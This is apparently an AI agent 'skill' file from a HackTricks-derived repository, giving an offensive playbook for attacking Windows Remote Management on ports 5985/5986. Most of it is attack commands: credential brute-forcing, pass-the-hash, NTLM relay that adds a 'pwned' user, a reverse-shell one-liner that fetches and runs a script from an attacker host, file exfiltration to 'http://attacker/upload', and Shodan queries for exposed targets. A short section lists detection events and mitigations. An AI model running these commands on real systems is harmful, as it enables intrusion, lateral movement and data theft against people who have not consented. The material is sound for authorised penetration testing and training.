Hacktricks-skills winrm-pentesting
How to pentest Windows Remote Management (WinRM) on ports 5985/5986. Use this skill whenever the user mentions WinRM, Windows remote management, ports 5985 or 5986, PowerShell remoting, evil-winrm, WS-MAN, or needs to connect to/execute commands on Windows systems remotely. This includes brute-forcing WinRM credentials, pass-the-hash attacks, NTLM relay to WinRM, and lateral movement via WinRM.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/5985-5986-pentesting-winrm/SKILL.MDWinRM Pentesting
Windows Remote Management (WinRM) is a Microsoft protocol that enables remote management of Windows systems through HTTP(S) on ports 5985 (HTTP) and 5986 (HTTPS). It leverages SOAP and is powered by WMI, essentially providing an HTTP-based interface for WMI operations.
Quick Start
# Test if WinRM is configured on a target test-wsman <target-ip> # Connect with evil-winrm (Linux) evil-winrm -i <IP> -u <username> -p '<password>' # Connect with hash evil-winrm -i <IP> -u <username> -H <hash> # Brute force with crackmapexec crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt
Testing WinRM Configuration
From Windows (PowerShell)
# Test if target has WinRM configured Test-WSMan <target-ip> # Expected output for configured target: # ProtocolVersion: WS-Management 1.3 # ProductVersion: Microsoft Windows Operating System # SchemaVersion: http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd
From Linux
# Using pypsrp (Python) python3 -c "from psrp.client import Client; c = Client('target', username='user', password='pass'); print(c.execute_cmd('whoami').std_out.decode())" # Using winrm-cli winrm id -r:https://target:5986/wsman -u:username -p:password
Connection Methods
evil-winrm (Ruby)
# Install gem install evil-winrm # Basic connection evil-winrm -i <IP> -u <username> -p '<password>' # With hash (pass-the-hash) evil-winrm -i <IP> -u <username> -H <ntlm_hash> # With Kerberos (v3.x+) evil-winrm -i <IP> -u <username> -k --spn HTTP/<IP> # With certificate authentication evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem # Session logging evil-winrm -i <IP> -u <username> -p '<password>' -L session.log # Disable remote path completion evil-winrm -i <IP> -u <username> -p '<password>' -N
PowerShell Remoting (Windows)
# Test connection Test-WSMan <target> # Execute single command Invoke-Command -ComputerName <target> -ScriptBlock {ipconfig /all} -Credential <domain>\<user> # Execute local function remotely Invoke-Command -ComputerName <target> -ScriptBlock ${function:myfunction} -ArgumentList "args" # Execute script file Invoke-Command -ComputerName <target> -FilePath C:\path\to\script.ps1 -Credential <domain>\<user> # Get interactive session Enter-PSSession -ComputerName <target> -Credential <domain>\<user> # With local user (note the ".\") $password = ConvertTo-SecureString 'password' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential(".\username", $password) Enter-PSSession -ComputerName <target> -Credential $creds # Bypass proxy Enter-PSSession -ComputerName <target> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save and restore session $sess = New-PSSession -ComputerName <target> -Credential $creds Enter-PSSession $sess # Later restore: Enter-PSSession -Session $sess # Background session (don't close) Exit-PSSession # Leaves session in background if stored in variable
crackmapexec (Linux)
# Brute force crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt # Test single credential with command execution crackmapexec winrm <IP> -d <domain> -u <user> -p '<password>' -x "whoami" # With hash and PowerShell command crackmapexec winrm <IP> -d <domain> -u <user> -H <hash> -X '$PSVersionTable' # Note: crackmapexec validates credentials but doesn't provide interactive shell
pypsrp (Python)
from psrp.client import Client # Basic connection c = Client('target', username='DOMAIN\\user', password='password') print(c.execute_cmd('ipconfig /all').std_out.decode()) # With SSL c = Client('target', username='DOMAIN\\user', password='password', ssl=True) # With Kerberos c = Client('target', username='DOMAIN\\user', kerberos=True) # Execute PowerShell c.execute_ps('Get-Process | Select-Object -First 5')
Advanced Techniques
NTLM Relay to WinRM (Impacket)
Since Impacket 0.11 (May 2023), you can relay NTLM credentials directly to WinRM:
# Relay to WS-MAN (requires unencrypted HTTP on 5985) sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \ --command "net user pwned P@ssw0rd! /add" # Combine with mitm6 for automatic relay sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support
WSMan COM Object (Constrained Language Mode)
When PowerShell is constrained, use the WSMan.Automation COM object:
$ws = New-Object -ComObject 'WSMan.Automation' $session = $ws.CreateSession('http://target:5985/wsman', 0, $null) $cmdId = $session.Command('cmd.exe', @('/c', 'whoami')) $session.Signal($cmdId, 0) $session.GetResults($cmdId)
Reverse Shell via WinRM
Invoke-Command -ComputerName <target> -ScriptBlock { cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://attacker:8080/shell.ps1')" }
Ruby WinRM Shell
require 'winrm-fs' conn = WinRM::Connection.new( endpoint: 'https://IP:5986/wsman', transport: :ssl, user: 'username', password: 'password', no_ssl_peer_verification: true ) file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| output = shell.run('whoami') puts output.std_out # Upload file file_manager.upload('local.txt', 'C:\\temp\\remote.txt') end
Enabling WinRM on Target
If WinRM isn't configured, you can enable it:
# On the target machine Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * # Remotely via WMIC wmic /node:<target> process call create "powershell enable-psremoting -force" # Remotely via PsExec PsExec.exe \\target -u domain\user -p password -h -d powershell.exe "enable-psremoting -force"
Common Errors and Solutions
TrustedHosts Error
"The WinRM client cannot process the request... the destination machine must be added to the TrustedHosts configuration setting"
Solution:
# On the client machine winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="target1,target2,*"}' # Or via PowerShell Set-Item wsman:\localhost\client\trustedhosts *
Constrained Language Mode
If you get errors about constrained language, the target has PowerShell execution policies restricting script execution. Use:
- WSMan COM object approach
withevil-winrm
flag to specify execution policy-e- Direct command execution instead of scripts
IPv6 Connections
For evil-winrm with IPv6, add an entry to
/etc/hosts:
echo "<ipv6-address> target.domain" | sudo tee -a /etc/hosts evil-winrm -i target.domain -u <user> -p '<password>'
Detection and Evasion
Detection Events
Monitor these Windows Event IDs:
| Event ID | Log | Description |
|---|---|---|
| 91 | WinRM/Operational | Shell created |
| 163 | WinRM/Operational | Shell created (alternative) |
| 182 | WinRM/Operational | Authentication failure |
| 4262 | Security | WinRM connection (source IP) |
Mitigations to Check
# Check if HTTP listener is disabled (good for defense) Get-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener # Force HTTPS only Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false # Enable Extended Protection for Authentication Set-Item WSMan:\localhost\Service\Auth -Value @{Basic="false"; Digest="false"; Kerberos="true"; Negotiate="true"; Certificate="true"; CredSSP="true"; CbtHd="true"; AllowUnencrypted="false"}
Recent Vulnerabilities
CVE-2021-38647 (OMIGOD)
Azure Linux agents with OMI (Open Management Infrastructure) versions < 1.6.8-1 have unauthenticated RCE:
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml payload>'
Mitigation: Patch OMI or block ports 5985/5986 from internet.
Shodan Search
# Find exposed WinRM instances port:5985 Microsoft-HTTPAPI port:5986 Microsoft-HTTPAPI
File Operations
Upload Files
# Via evil-winrm upload local_file.txt C:\temp\remote.txt # Via PowerShell Invoke-Command -ComputerName <target> -ScriptBlock { $webClient = New-Object System.Net.WebClient $webClient.DownloadFile('http://attacker/file.exe', 'C:\temp\file.exe') } # Via pypsrp from psrp.client import Client c = Client('target', username='user', password='pass') c.upload_file('local.txt', 'C:\temp\remote.txt')
Download Files
# Via evil-winrm download C:\temp\file.txt ./local_file.txt # Via PowerShell Invoke-Command -ComputerName <target> -ScriptBlock { $webClient = New-Object System.Net.WebClient $webClient.UploadFile('http://attacker/upload', 'C:\temp\file.txt') }
Best Practices
- Always test connectivity first with
before attempting connectionsTest-WSMan - Use HTTPS (5986) when available for encrypted communication
- Be careful with brute-forcing - it can lock accounts or trigger alerts
- Save sessions when possible to avoid re-authentication
- Check for constrained language mode if scripts fail to execute
- Monitor for detection - WinRM events are logged and can be centralized
- Use proper credentials - domain credentials work better than local for lateral movement
Quick Reference
| Task | Command |
|---|---|
| Test WinRM | |
| Connect (evil-winrm) | |
| Connect (hash) | |
| Brute force | |
| Execute command | |
| Interactive shell | |
| NTLM relay | |
| Upload file | (evil-winrm) |
| Download file | (evil-winrm) |